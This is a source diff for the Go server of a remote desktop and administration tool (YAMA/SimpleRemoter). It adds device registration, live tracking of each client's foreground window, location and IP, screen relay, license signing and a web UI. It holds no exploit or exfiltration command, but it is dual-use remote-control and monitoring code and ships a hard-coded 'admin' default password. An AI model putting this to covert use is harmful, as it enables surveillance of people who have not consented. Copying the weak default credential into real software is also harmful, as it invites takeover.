packet := make([]byte, 9+len(video))
|
||||||
|
binary.LittleEndian.PutUint32(packet[0:4], idLow)
|
||||||
|
packet[4] = frameType
|
||||||
|
binary.LittleEndian.PutUint32(packet[5:9], dataLen)
|
||||||
|
copy(packet[9:], video)
|
||||||
|
|
||||||
|
h.hub.PublishScreenFrame(deviceID, packet, isKey)
|
||||||
|
}
|
||||||
|
|
||||||
// handleLogin handles client login (TOKEN_LOGIN = 102)
|
// handleLogin handles client login (TOKEN_LOGIN = 102)
|
||||||
func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
|
func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
|
||||||
info, err := protocol.ParseLoginInfo(data)
|
info, err := protocol.ParseLoginInfo(data)
|
||||||
@@ -68,8 +344,18 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Use MasterID from login request as ClientID for logging
|
// The device's unique ID lives in reserved field 16 (RES_CLIENT_ID) as a
|
||||||
clientID := info.MasterID
|
// decimal string of a uint64 — the same number the device later puts at
|
||||||
|
// offset 41 of TOKEN_BITMAPINFO. Using szMasterID here is WRONG: it is a
|
||||||
|
// compile-time MASTER_HASH constant shared by every binary built from
|
||||||
|
// the same source, so all clients would collide in the hub.
|
||||||
|
clientID := info.GetReservedField(protocol.ResFieldClientID)
|
||||||
|
if clientID == "" || clientID == "0" {
|
||||||
|
// Legacy fallback (very old clients that don't fill RES_CLIENT_ID).
|
||||||
|
// MasterID is still preferable to a per-connection number because it
|
||||||
|
// at least stays stable across reconnects of the same binary.
|
||||||
|
clientID = info.MasterID
|
||||||
|
}
|
||||||
if clientID == "" {
|
if clientID == "" {
|
||||||
clientID = fmt.Sprintf("conn-%d", ctx.ID)
|
clientID = fmt.Sprintf("conn-%d", ctx.ID)
|
||||||
}
|
}
|
||||||
@@ -86,17 +372,17 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Parse additional info from reserved field
|
// Parse additional info from reserved field
|
||||||
if len(reserved) > 0 {
|
if len(reserved) > protocol.ResFieldClientType {
|
||||||
clientInfo.ClientType = info.GetReservedField(0)
|
clientInfo.ClientType = info.GetReservedField(protocol.ResFieldClientType)
|
||||||
}
|
}
|
||||||
if len(reserved) > 2 {
|
if len(reserved) > 2 {
|
||||||
clientInfo.CPU = info.GetReservedField(2)
|
clientInfo.CPU = info.GetReservedField(2)
|
||||||
}
|
}
|
||||||
if len(reserved) > 4 {
|
if len(reserved) > protocol.ResFieldFilePath {
|
||||||
clientInfo.FilePath = info.GetReservedField(4)
|
clientInfo.FilePath = info.GetReservedField(protocol.ResFieldFilePath)
|
||||||
}
|
}
|
||||||
if len(reserved) > 11 {
|
if len(reserved) > protocol.ResFieldClientPubIP {
|
||||||
clientInfo.IP = info.GetReservedField(11) // Public IP
|
clientInfo.IP = info.GetReservedField(protocol.ResFieldClientPubIP)
|
||||||
}
|
}
|
||||||
|
|
||||||
ctx.SetInfo(clientInfo)
|
ctx.SetInfo(clientInfo)
|
||||||
@@ -109,6 +395,88 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
|
|||||||
"version", info.ModuleVersion,
|
"version", info.ModuleVersion,
|
||||||
"path", clientInfo.FilePath,
|
"path", clientInfo.FilePath,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// PCName carries "ComputerName/Group"; ModuleVersion carries "Version-Capability".
|
||||||
|
// strings.Cut returns the full string as the head when the separator is
|
||||||
|
// absent, which gives us the natural "no group / no capability" fallback.
|
||||||
|
name, group, _ := strings.Cut(info.PCName, "/")
|
||||||
|
version, capability, _ := strings.Cut(info.ModuleVersion, "-")
|
||||||
|
|
||||||
|
// Client-reported geo string (RES_CLIENT_LOC).
|
||||||
|
location := ""
|
||||||
|
if len(reserved) > protocol.ResFieldClientLoc {
|
||||||
|
location = info.GetReservedField(protocol.ResFieldClientLoc)
|
||||||
|
}
|
||||||
|
// RES_RESOLUTION is already formatted by the client as "N:W*H"
|
||||||
|
// (see client/LoginServer.cpp:414). Pass through unchanged so the web
|
||||||
|
// UI's device card renders it next to the version label.
|
||||||
|
resolution := ""
|
||||||
|
if len(reserved) > protocol.ResFieldResolution {
|
||||||
|
resolution = info.GetReservedField(protocol.ResFieldResolution)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Register with hub so the web side can list this device. Sub-connections
|
||||||
|
// (screen / terminal etc.) reuse the MasterID and will overwrite this entry
|
||||||
|
// harmlessly, but only the main login carries enough info to be useful here.
|
||||||
|
h.hub.Register(&hub.Device{
|
||||||
|
ID: clientID,
|
||||||
|
Name: name,
|
||||||
|
Group: group,
|
||||||
|
Version: version,
|
||||||
|
Capability: capability,
|
||||||
|
OS: info.OsVerInfo,
|
||||||
|
CPU: clientInfo.CPU,
|
||||||
|
FilePath: clientInfo.FilePath,
|
||||||
|
InstallTime: info.StartTime,
|
||||||
|
Location: location,
|
||||||
|
Resolution: resolution,
|
||||||
|
PeerIP: ctx.GetPeerIP(),
|
||||||
|
PublicIP: clientInfo.IP,
|
||||||
|
ConnectedAt: time.Now(),
|
||||||
|
}, ctx)
|
||||||
|
|
||||||
|
// Push CMD_MASTERSETTING with a signature over "StartTime|ClientID".
|
||||||
|
// The client's private FileUpload init verifies this before allowing
|
||||||
|
// screen / file operations — without it the binary aborts itself.
|
||||||
|
h.sendMasterSetting(ctx, info.StartTime, clientID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// sendMasterSetting builds the 1001-byte CMD_MASTERSETTING reply and ships it
|
||||||
|
// down the main TCP connection. Most fields stay zeroed — only Signature
|
||||||
|
// matters today. The signer is one of:
|
||||||
|
// - LocalSigner: HMAC directly with master key (operator's own deployment)
|
||||||
|
// - RemoteSigner: HTTPS POST to operator's License Server (customer deployment)
|
||||||
|
// - NoOpSigner: returns empty signature (free tier; client refuses screen/file ops)
|
||||||
|
//
|
||||||
|
// On signer error (License Server unreachable + no cache hit), we still ship
|
||||||
|
// a zeroed signature so the packet is well-formed; the client will retry on
|
||||||
|
// next reconnect.
|
||||||
|
func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, clientID string) {
|
||||||
|
buf := make([]byte, 1+protocol.MasterSettingsSize)
|
||||||
|
buf[0] = protocol.CmdMasterSetting
|
||||||
|
|
||||||
|
// ReportInterval (int32 LE at struct offset 0, +1 for the cmd byte).
|
||||||
|
// Sending 0 makes the client drop the active-window field of its
|
||||||
|
// heartbeat, which kills the web UI's live activeWindow updates.
|
||||||
|
binary.LittleEndian.PutUint32(
|
||||||
|
buf[1:5],
|
||||||
|
uint32(protocol.DefaultReportIntervalSec))
|
||||||
|
|
||||||
|
sig, err := h.signer.Sign(startTime, clientID)
|
||||||
|
if err != nil {
|
||||||
|
h.log.Error("signer (%s) failed for clientID=%s: %v — sending zeroed signature",
|
||||||
|
h.signer.Mode(), clientID, err)
|
||||||
|
} else if sig == "" {
|
||||||
|
// NoOpSigner path, or LocalSigner with empty master key — same effect.
|
||||||
|
// Log only once per process via the startup banner; don't spam here.
|
||||||
|
} else {
|
||||||
|
const sigOffset = 1 + protocol.MasterSettingsOffSignature
|
||||||
|
copy(buf[sigOffset:sigOffset+protocol.MasterSettingsSignatureLen], []byte(sig))
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := h.srv.Send(ctx, buf); err != nil {
|
||||||
|
h.log.Error("CMD_MASTERSETTING send failed for conn=%d: %v", ctx.ID, err)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleAuth handles authorization request (TOKEN_AUTH = 100)
|
// handleAuth handles authorization request (TOKEN_AUTH = 100)
|
||||||
@@ -159,13 +527,41 @@ func (h *MyHandler) handleHeartbeat(ctx *connection.Context, data []byte) {
|
|||||||
uint64(data[5])<<32 | uint64(data[6])<<40 | uint64(data[7])<<48 | uint64(data[8])<<56
|
uint64(data[5])<<32 | uint64(data[6])<<40 | uint64(data[7])<<48 | uint64(data[8])<<56
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Forward live fields (ActiveWnd + Ping) to the hub so the web UI can
|
||||||
|
// display current latency and foreground window per device. Skip until
|
||||||
|
// login has happened — the hub is keyed by MasterID, which only exists
|
||||||
|
// post-login.
|
||||||
|
if info := ctx.GetInfo(); info.ClientID != "" {
|
||||||
|
var rtt int32
|
||||||
|
var activeWindow string
|
||||||
|
// ActiveWnd at data[9..521] is a 512-byte NUL-padded string. Encoding
|
||||||
|
// depends on the client: new clients advertise CLIENT_CAP_UTF8 (bit
|
||||||
|
// 0x0002 in the moduleVersion hex tail) and ship UTF-8 directly;
|
||||||
|
// legacy Windows clients still use CP936 (GBK). Decoding UTF-8 bytes
|
||||||
|
// as GBK turns Chinese characters into mojibake — see the matching
|
||||||
|
// C++ guard at server/2015Remote/WebService.cpp:1530.
|
||||||
|
if len(data) >= 9+512 {
|
||||||
|
activeWindow = protocol.DecodeClientString(
|
||||||
|
data[9:9+512],
|
||||||
|
h.hub.Capability(info.ClientID),
|
||||||
|
info.ClientType,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
// Ping at data[521..525] is a little-endian int32.
|
||||||
|
if len(data) >= 525 {
|
||||||
|
rtt = int32(uint32(data[521]) | uint32(data[522])<<8 |
|
||||||
|
uint32(data[523])<<16 | uint32(data[524])<<24)
|
||||||
|
}
|
||||||
|
h.hub.UpdateLive(info.ClientID, int(rtt), activeWindow)
|
||||||
|
}
|
||||||
|
|
||||||
// Authenticate heartbeat if it contains authorization info
|
// Authenticate heartbeat if it contains authorization info
|
||||||
// data[1:] skips the command byte to get the raw Heartbeat structure
|
// data[1:] skips the command byte to get the raw Heartbeat structure
|
||||||
var authorized byte = 0
|
var authorized byte = 0
|
||||||
if len(data) > 1 {
|
if len(data) > 1 {
|
||||||
authResult := h.auth.AuthenticateHeartbeat(data[1:])
|
authResult := h.auth.AuthenticateHeartbeat(data[1:])
|
||||||
if authResult.Authorized {
|
if authResult.Authorized {
|
||||||
authorized = 1
|
authorized = 2 // Auth by admin
|
||||||
// Log authorization success (only log once per connection to avoid spam)
|
// Log authorization success (only log once per connection to avoid spam)
|
||||||
if !ctx.IsAuthorized.Load() {
|
if !ctx.IsAuthorized.Load() {
|
||||||
ctx.IsAuthorized.Store(true)
|
ctx.IsAuthorized.Store(true)
|
||||||
@@ -228,10 +624,32 @@ func parsePorts(portStr string) ([]int, error) {
|
|||||||
return ports, nil
|
return ports, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// splitCSV splits a comma-separated env-var value into trimmed, non-empty
|
||||||
|
// entries. Returns nil for an empty input so callers can keep the natural
|
||||||
|
// "no value → no restriction" semantics with a single nil check.
|
||||||
|
func splitCSV(s string) []string {
|
||||||
|
if s == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
parts := strings.Split(s, ",")
|
||||||
|
out := make([]string, 0, len(parts))
|
||||||
|
for _, p := range parts {
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
if p != "" {
|
||||||
|
out = append(out, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(out) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
// Parse command line flags
|
// Parse command line flags
|
||||||
portStr := flag.String("port", "6543", "Server listen ports (semicolon-separated, e.g. 6543;6544;6545)")
|
portStr := flag.String("port", "6543", "Server listen ports (semicolon-separated, e.g. 6543;6544;6545)")
|
||||||
flag.StringVar(portStr, "p", "6543", "Server listen ports (shorthand)")
|
flag.StringVar(portStr, "p", "6543", "Server listen ports (shorthand)")
|
||||||
|
httpPort := flag.Int("http-port", 8080, "HTTP server port for web UI (0 to disable)")
|
||||||
noConsole := flag.Bool("no-console", false, "Disable console output (for daemon mode)")
|
noConsole := flag.Bool("no-console", false, "Disable console output (for daemon mode)")
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
@@ -254,6 +672,15 @@ func main() {
|
|||||||
|
|
||||||
log := logger.New(logCfg)
|
log := logger.New(logCfg)
|
||||||
|
|
||||||
|
// Track env vars where we fell back to a built-in default. Printed once
|
||||||
|
// at the end of startup so the operator sees what's in effect — vars the
|
||||||
|
// operator explicitly set are NOT listed (they already know their value).
|
||||||
|
type defaultedEnv struct{ name, value string }
|
||||||
|
var defaultsUsed []defaultedEnv
|
||||||
|
rememberDefault := func(name, value string) {
|
||||||
|
defaultsUsed = append(defaultsUsed, defaultedEnv{name, value})
|
||||||
|
}
|
||||||
|
|
||||||
// Create auth config
|
// Create auth config
|
||||||
authCfg := auth.DefaultConfig()
|
authCfg := auth.DefaultConfig()
|
||||||
// PwdHash can be set from environment or config file
|
// PwdHash can be set from environment or config file
|
||||||
@@ -261,12 +688,83 @@ func main() {
|
|||||||
if authCfg.PwdHash == "" {
|
if authCfg.PwdHash == "" {
|
||||||
// Default placeholder - should be configured in production
|
// Default placeholder - should be configured in production
|
||||||
authCfg.PwdHash = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
authCfg.PwdHash = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||||
|
rememberDefault("YAMA_PWDHASH", authCfg.PwdHash)
|
||||||
}
|
}
|
||||||
authCfg.SuperPass = os.Getenv("YAMA_PWD")
|
authCfg.SuperPass = os.Getenv("YAMA_PWD")
|
||||||
|
|
||||||
// Create authenticator (shared by all servers)
|
// Create authenticator (shared by all servers)
|
||||||
authenticator := auth.New(authCfg)
|
authenticator := auth.New(authCfg)
|
||||||
|
|
||||||
|
// Shared device registry — every TCP handler reports devices into it,
|
||||||
|
// the HTTP server reads from it.
|
||||||
|
deviceHub := hub.New()
|
||||||
|
|
||||||
|
// Build the CMD_MASTERSETTING signer based on env vars:
|
||||||
|
// - YAMA_SIGN_PASSWORD set → LocalSigner (operator's own deployment;
|
||||||
|
// HMAC master key lives here)
|
||||||
|
// - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner
|
||||||
|
// (customer deployment; never sees the master key, fetches signatures
|
||||||
|
// from operator's License Server with 24h cache)
|
||||||
|
// - neither → NoOpSigner (free tier; client refuses screen/file ops
|
||||||
|
// but device list still works)
|
||||||
|
signer, mode, err := licensing.NewFromEnv(log)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal("Failed to initialize signer: %v", err)
|
||||||
|
}
|
||||||
|
// signer.Close() is called explicitly after the License Server HTTP is
|
||||||
|
// drained at shutdown — sequencing matters because an in-flight
|
||||||
|
// handleSign on the HTTP path needs a live signer to complete.
|
||||||
|
switch mode {
|
||||||
|
case licensing.ModeLocal:
|
||||||
|
log.Info("Signer mode: LOCAL (operator deployment, master key held in-process)")
|
||||||
|
case licensing.ModeRemote:
|
||||||
|
log.Info("Signer mode: REMOTE (customer deployment, %s=%s)",
|
||||||
|
licensing.EnvLicenseServer, os.Getenv(licensing.EnvLicenseServer))
|
||||||
|
case licensing.ModeNoOp:
|
||||||
|
log.Warn("Signer mode: NOOP (no licensing configured; screen/file features disabled on clients)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the operator also wants this LocalSigner deployment to serve as
|
||||||
|
// License Server for RemoteSigner customers, YAMA_LICENSE_PUBLIC_KEY +
|
||||||
|
// YAMA_LICENSE_HTTP_ADDR enable it. Off by default.
|
||||||
|
licSrv, licAddr, err := licensing.LicenseServerFromEnv(signer, log)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal("Failed to initialize License Server: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Web user authenticator. Bootstrap admin from env var YAMA_WEB_ADMIN_PASS;
|
||||||
|
// if unset, fall back to YAMA_PWD (same secret the TCP authorization uses)
|
||||||
|
// so a single password env var is enough to bring up the whole stack.
|
||||||
|
// If neither is set we use a hard-coded "admin" default so the web UI is
|
||||||
|
// usable out of the box — the startup banner surfaces this so operators
|
||||||
|
// know to override it in any non-dev deployment.
|
||||||
|
const defaultWebAdminPass = "admin"
|
||||||
|
webAuth := wsauth.New()
|
||||||
|
adminPass := os.Getenv("YAMA_WEB_ADMIN_PASS")
|
||||||
|
if adminPass == "" {
|
||||||
|
adminPass = os.Getenv("YAMA_PWD")
|
||||||
|
}
|
||||||
|
usingDefaultWebPass := false
|
||||||
|
if adminPass == "" {
|
||||||
|
adminPass = defaultWebAdminPass
|
||||||
|
rememberDefault("YAMA_WEB_ADMIN_PASS", defaultWebAdminPass)
|
||||||
|
usingDefaultWebPass = true
|
||||||
|
}
|
||||||
|
webAuth.AddAdminFromPlainPassword("admin", adminPass)
|
||||||
|
log.Info("Web admin user configured")
|
||||||
|
|
||||||
|
// Persistent users live in users.json next to the binary's working dir
|
||||||
|
// — same default the C++ WebService uses (m_ConfigDir + "users.json").
|
||||||
|
// Loading is best-effort: a missing file means "no extra users yet".
|
||||||
|
usersFile := os.Getenv("YAMA_USERS_FILE")
|
||||||
|
if usersFile == "" {
|
||||||
|
usersFile = "users.json"
|
||||||
|
rememberDefault("YAMA_USERS_FILE", usersFile)
|
||||||
|
}
|
||||||
|
if err := webAuth.SetUsersFile(usersFile); err != nil {
|
||||||
|
log.Warn("Failed to load %s: %v (continuing with admin only)", usersFile, err)
|
||||||
|
}
|
||||||
|
|
||||||
// Create servers for each port
|
// Create servers for each port
|
||||||
var servers []*server.Server
|
var servers []*server.Server
|
||||||
for _, port := range ports {
|
for _, port := range ports {
|
||||||
@@ -282,20 +780,109 @@ func main() {
|
|||||||
log: log.WithPrefix(fmt.Sprintf("Handler:%d", port)),
|
log: log.WithPrefix(fmt.Sprintf("Handler:%d", port)),
|
||||||
auth: authenticator,
|
auth: authenticator,
|
||||||
srv: srv,
|
srv: srv,
|
||||||
|
hub: deviceHub,
|
||||||
|
signer: signer,
|
||||||
}
|
}
|
||||||
srv.SetHandler(handler)
|
srv.SetHandler(handler)
|
||||||
|
|
||||||
servers = append(servers, srv)
|
servers = append(servers, srv)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Start all servers
|
// Wire the hub's outbound sender once all TCP servers exist. Any server's
|
||||||
|
// Send method will do — the per-connection encoder uses ctx-local state
|
||||||
|
// and is independent of which server originally accepted the connection.
|
||||||
|
if len(servers) > 0 {
|
||||||
|
s := servers[0]
|
||||||
|
deviceHub.SetSender(func(ctx *connection.Context, data []byte) error {
|
||||||
|
return s.Send(ctx, data)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start all TCP servers
|
||||||
for _, srv := range servers {
|
for _, srv := range servers {
|
||||||
if err := srv.Start(); err != nil {
|
if err := srv.Start(); err != nil {
|
||||||
log.Fatal("Failed to start server: %v", err)
|
log.Fatal("Failed to start server: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Web-UI hardening knobs for public-HTTPS deployment.
|
||||||
|
//
|
||||||
|
// YAMA_WEB_ALLOWED_ORIGINS: comma-separated Origin allowlist (e.g.
|
||||||
|
// "https://yama.example.com,https://yama-mobile.example.com").
|
||||||
|
// Empty (default) → only same-origin WS upgrades accepted, which
|
||||||
|
// is correct when the web UI and WS endpoint share a host.
|
||||||
|
//
|
||||||
|
// Login rate limits are hard-coded at sensible defaults for the
|
||||||
|
// small-user web UI: 10 attempts / minute per IP, 5 / 15 min per
|
||||||
|
// username. The handler also injects a 250 ms delay on every failure
|
||||||
|
// so online brute force is impractical even within budget.
|
||||||
|
allowedOrigins := splitCSV(os.Getenv("YAMA_WEB_ALLOWED_ORIGINS"))
|
||||||
|
trustProxy := os.Getenv("YAMA_WEB_TRUST_PROXY") == "1"
|
||||||
|
if trustProxy {
|
||||||
|
log.Info("Trusting X-Forwarded-For for client IP — make sure a reverse proxy is in front")
|
||||||
|
}
|
||||||
|
webCfg := web.Config{
|
||||||
|
AllowedOrigins: allowedOrigins,
|
||||||
|
LoginIPLimit: wsauth.NewRateLimiter(10, time.Minute),
|
||||||
|
LoginUserLimit: wsauth.NewRateLimiter(5, 15*time.Minute),
|
||||||
|
TrustForwardedFor: trustProxy,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start HTTP server for web UI. Hub gives it read-only access to the
|
||||||
|
// device registry; the authenticator owns user accounts and session tokens.
|
||||||
|
httpSrv := web.New(*httpPort, log.WithPrefix("Web"), deviceHub, webAuth).
|
||||||
|
WithConfig(webCfg)
|
||||||
|
if err := httpSrv.Start(); err != nil {
|
||||||
|
log.Fatal("Failed to start HTTP server: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Optionally serve the License Server HTTP endpoints in this process.
|
||||||
|
// Only active when the operator set YAMA_LICENSE_PUBLIC_KEY +
|
||||||
|
// YAMA_LICENSE_HTTP_ADDR. We serve plain HTTP — operator should put
|
||||||
|
// nginx/Caddy in front for TLS. (RemoteSigner customers connect to
|
||||||
|
// the public URL configured via YAMA_LICENSE_SERVER on their side.)
|
||||||
|
//
|
||||||
|
// Timeouts cap Slowloris / FD-exhaustion attacks. Values are generous
|
||||||
|
// enough for a slow public link (TLS-terminating proxy in front, real
|
||||||
|
// customer round-trips at ~hundreds of ms) but tight enough that a
|
||||||
|
// trickle-byte attacker cannot pin a connection indefinitely.
|
||||||
|
var licenseHTTP *http.Server
|
||||||
|
if licSrv != nil {
|
||||||
|
licenseHTTP = &http.Server{
|
||||||
|
Addr: licAddr,
|
||||||
|
Handler: licSrv.Handler(),
|
||||||
|
ReadHeaderTimeout: 5 * time.Second,
|
||||||
|
ReadTimeout: 15 * time.Second,
|
||||||
|
WriteTimeout: 15 * time.Second,
|
||||||
|
IdleTimeout: 60 * time.Second,
|
||||||
|
MaxHeaderBytes: 16 << 10,
|
||||||
|
}
|
||||||
|
go func() {
|
||||||
|
log.Info("License Server listening on %s (POST /license/sign, /license/heartbeat)", licAddr)
|
||||||
|
if err := licenseHTTP.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||||
|
log.Error("License Server stopped: %v", err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
fmt.Printf("Server started on port(s): %v\n", ports)
|
fmt.Printf("Server started on port(s): %v\n", ports)
|
||||||
|
if *httpPort != 0 {
|
||||||
|
fmt.Printf("Web UI on http://localhost:%d/\n", *httpPort)
|
||||||
|
if usingDefaultWebPass {
|
||||||
|
fmt.Printf(" Default login: admin / %s (set YAMA_WEB_ADMIN_PASS to override)\n",
|
||||||
|
defaultWebAdminPass)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if licenseHTTP != nil {
|
||||||
|
fmt.Printf("License Server on http://%s/license/{sign,heartbeat}\n", licAddr)
|
||||||
|
}
|
||||||
|
if len(defaultsUsed) > 0 {
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("[!] Using built-in defaults (set the env var to override):")
|
||||||
|
for _, d := range defaultsUsed {
|
||||||
|
fmt.Printf(" %s = %s\n", d.name, d.value)
|
||||||
|
}
|
||||||
|
}
|
||||||
fmt.Println("Logs are written to: logs/server.log")
|
fmt.Println("Logs are written to: logs/server.log")
|
||||||
fmt.Println("Press Ctrl+C to stop...")
|
fmt.Println("Press Ctrl+C to stop...")
|
||||||
|
|
||||||
@@ -305,6 +892,18 @@ func main() {
|
|||||||
<-sigChan
|
<-sigChan
|
||||||
|
|
||||||
fmt.Println("\nShutting down...")
|
fmt.Println("\nShutting down...")
|
||||||
|
// Order matters: drain License Server HTTP first so no handleSign is
|
||||||
|
// mid-flight; THEN close the signer (which may release HTTP keepalives
|
||||||
|
// in RemoteSigner mode, or be a no-op for LocalSigner/NoOp).
|
||||||
|
if licenseHTTP != nil {
|
||||||
|
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||||
|
_ = licenseHTTP.Shutdown(shutdownCtx)
|
||||||
|
cancel()
|
||||||
|
}
|
||||||
|
if err := signer.Close(); err != nil {
|
||||||
|
log.Warn("signer Close: %v", err)
|
||||||
|
}
|
||||||
|
httpSrv.Stop()
|
||||||
for _, srv := range servers {
|
for _, srv := range servers {
|
||||||
srv.Stop()
|
srv.Stop()
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
server/go/cmd/winres/icon.png
Normal file
|
After Width: | Height: | Size: 7.6 KiB |
60
server/go/cmd/winres/winres.json
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
{
|
||||||
|
"RT_GROUP_ICON": {
|
||||||
|
"APP": {
|
||||||
|
"0000": [
|
||||||
|
"icon.png"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"RT_MANIFEST": {
|
||||||
|
"#1": {
|
||||||
|
"0409": {
|
||||||
|
"identity": {
|
||||||
|
"name": "YAMA Go Server",
|
||||||
|
"version": "1.0.0"
|
||||||
|
},
|
||||||
|
"description": "YAMA Go Server",
|
||||||
|
"minimum-os": "win7",
|
||||||
|
"execution-level": "as invoker",
|
||||||
|
"ui-access": false,
|
||||||
|
"auto-elevate": false,
|
||||||
|
"dpi-awareness": "system",
|
||||||
|
"disable-theming": false,
|
||||||
|
"disable-window-filtering": false,
|
||||||
|
"high-resolution-scrolling-aware": false,
|
||||||
|
"ultra-high-resolution-scrolling-aware": false,
|
||||||
|
"long-path-aware": false,
|
||||||
|
"printer-driver-isolation": false,
|
||||||
|
"gdi-scaling": false,
|
||||||
|
"segment-heap": false,
|
||||||
|
"use-common-controls-v6": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"RT_VERSION": {
|
||||||
|
"#1": {
|
||||||
|
"0000": {
|
||||||
|
"fixed": {
|
||||||
|
"file_version": "1.0.0.0",
|
||||||
|
"product_version": "1.0.0.0"
|
||||||
|
},
|
||||||
|
"info": {
|
||||||
|
"0409": {
|
||||||
|
"Comments": "YAMA Go Remote Desktop Server",
|
||||||
|
"CompanyName": "SimpleRemoter",
|
||||||
|
"FileDescription": "YAMA Go Remote Desktop Server",
|
||||||
|
"FileVersion": "1.0.0",
|
||||||
|
"InternalName": "YamaGo.exe",
|
||||||
|
"LegalCopyright": "Copyright © 2026 YAMA",
|
||||||
|
"LegalTrademarks": "",
|
||||||
|
"OriginalFilename": "YamaGo.exe",
|
||||||
|
"PrivateBuild": "",
|
||||||
|
"ProductName": "YAMA Go Server",
|
||||||
|
"ProductVersion": "1.0.0",
|
||||||
|
"SpecialBuild": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -86,6 +86,15 @@ const (
|
|||||||
// NewContext creates a new connection context
|
// NewContext creates a new connection context
|
||||||
func NewContext(conn net.Conn, mgr *Manager) *Context {
|
func NewContext(conn net.Conn, mgr *Manager) *Context {
|
||||||
now := time.Now()
|
now := time.Now()
|
||||||
|
// Disable Nagle's algorithm. The protocol mixes tiny acks (ConnAuth,
|
||||||
|
// HeartbeatAck, CMD_MASTERSETTING) with large frame bursts; with Nagle
|
||||||
|
// on, those acks sit in the kernel buffer up to ~200 ms waiting for
|
||||||
|
// more bytes, and combined with the peer's delayed-ACK that's enough
|
||||||
|
// to make the screen handshake feel sluggish vs. the C++ server (which
|
||||||
|
// sets TCP_NODELAY on every sub-context in ScreenSpyDlg).
|
||||||
|
if tcp, ok := conn.(*net.TCPConn); ok {
|
||||||
|
_ = tcp.SetNoDelay(true)
|
||||||
|
}
|
||||||
ctx := &Context{
|
ctx := &Context{
|
||||||
Conn: conn,
|
Conn: conn,
|
||||||
RemoteAddr: conn.RemoteAddr().String(),
|
RemoteAddr: conn.RemoteAddr().String(),
|
||||||
|
|||||||
19
server/go/go.mod
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
module github.com/yuanyuanxiang/SimpleRemoter/server/go
|
||||||
|
|
||||||
|
go 1.25.0
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/golang-jwt/jwt/v5 v5.3.1
|
||||||
|
github.com/gorilla/websocket v1.5.3
|
||||||
|
github.com/klauspost/compress v1.18.2
|
||||||
|
github.com/rs/zerolog v1.34.0
|
||||||
|
golang.org/x/text v0.32.0
|
||||||
|
gopkg.in/natefinch/lumberjack.v2 v2.2.1
|
||||||
|
)
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||||
|
github.com/mattn/go-isatty v0.0.19 // indirect
|
||||||
|
golang.org/x/sync v0.20.0 // indirect
|
||||||
|
golang.org/x/sys v0.12.0 // indirect
|
||||||
|
)
|
||||||
@@ -1,5 +1,9 @@
|
|||||||
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
||||||
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||||
|
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
|
||||||
|
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||||
|
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||||
|
